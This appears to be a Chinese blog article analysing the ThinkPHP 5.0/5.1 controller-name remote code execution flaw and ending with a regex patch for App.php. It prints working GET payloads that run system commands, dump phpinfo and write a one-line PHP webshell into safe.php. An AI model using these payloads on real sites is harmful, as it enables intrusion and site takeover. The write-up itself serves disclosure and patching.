THINKPHP漏洞修復,官方于近日,對現(xiàn)有的thinkphp5.0到5.1所有版本進行了升級,以及補丁更新,這次更新主要是進行了一些漏洞修復,最嚴重的就是之前存在的SQL注入漏洞,以及遠程代碼執(zhí)行查詢系統(tǒng)的漏洞都進行了修復,官方本以為沒有問題了,但是在實際的安全檢測當中發(fā)現(xiàn),還是存在問題,還是可以遠程代碼進行注入,插入非法字符,提交到服務器后端中去。
關于這次發(fā)現(xiàn)的oday漏洞,我們來看下官方之前更新的代碼文件是怎么樣的,更新的程序文件路徑是library文件夾下的think目錄里的app.php,如下圖:
漏洞產生的原因就在于這個控制器這里,整個thinkphp框架里的功能對控制器沒有進行嚴格的安全過濾于檢查,使攻擊者可以偽造惡意參數進行強制插入,最根本的原因就是正則的表達式寫的不好,導致可以繞過。
在controller獲取控制器后,直接進行賦值,但是并沒有對控制器的名進行嚴格的檢測,導致可以使用斜杠等特殊符號來遠程代碼注入。
我們來搭建一下網站的環(huán)境,apache+mysql+Linux centos系統(tǒng),搭建好的測試環(huán)境地址是127.0.01/anquan ,我們可以直接在index.php后面?zhèn)卧旃魠?,示例如下?/span>
127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
直接get方式提交到網站中去,可以直接查詢到網站當前根目錄的所有文件,截圖如下:
通過該漏洞也可以直接遠程代碼注入執(zhí)行phpinfo語句,查詢當前的php版本,路徑,擴展,以及php.ini存放的地址,都可以看得到,構造如下代碼即可。
127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20phpinfo();
有些人可能會問了,既然都可以phpinfo,查詢目錄文件,可不可以getshell寫網站木馬文件到網站里呢? 答案是可以的,我們測試的時候是以一句話木馬代碼的寫入到safe.php文件里。
127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php
關于這次thinkphp的漏洞利用以及分析到此就結束了,該漏洞屬于高危漏洞,危害嚴重性較大,很多升級更新補丁的網站都會受到攻擊,甚至有些網站會被掛馬,那么該如何修復thinkphp的漏洞呢?替換之前的正規(guī)則表達式即可,還需要對網站的目錄進行權限部署,防止生成php文件,對網站上的漏洞進行修復,或者是對網站安全防護參數進行重新設置,使他符合當時的網站環(huán)境。如果不懂如何修復網站漏洞,也可以找專業(yè)的網站安全公司來處理,國內如Sinesafe和綠盟、啟明星辰等安全公司比較專業(yè).
針對于這個情況,我們要對其library/think/App.php代碼里的正規(guī)則表達式進行更改,if (!preg_match(/^[A-Za-z][\w\.]*$/, $controller)) { throw new HttpException(404, controller not exists: . $controller); }
舉報/反饋以上就是【第2個太驚人了!原創(chuàng)(thinkphp5.0漏洞)thinkphp3漏洞利用-Thinkphp網站漏洞怎么修復解決】的全部內容。
評論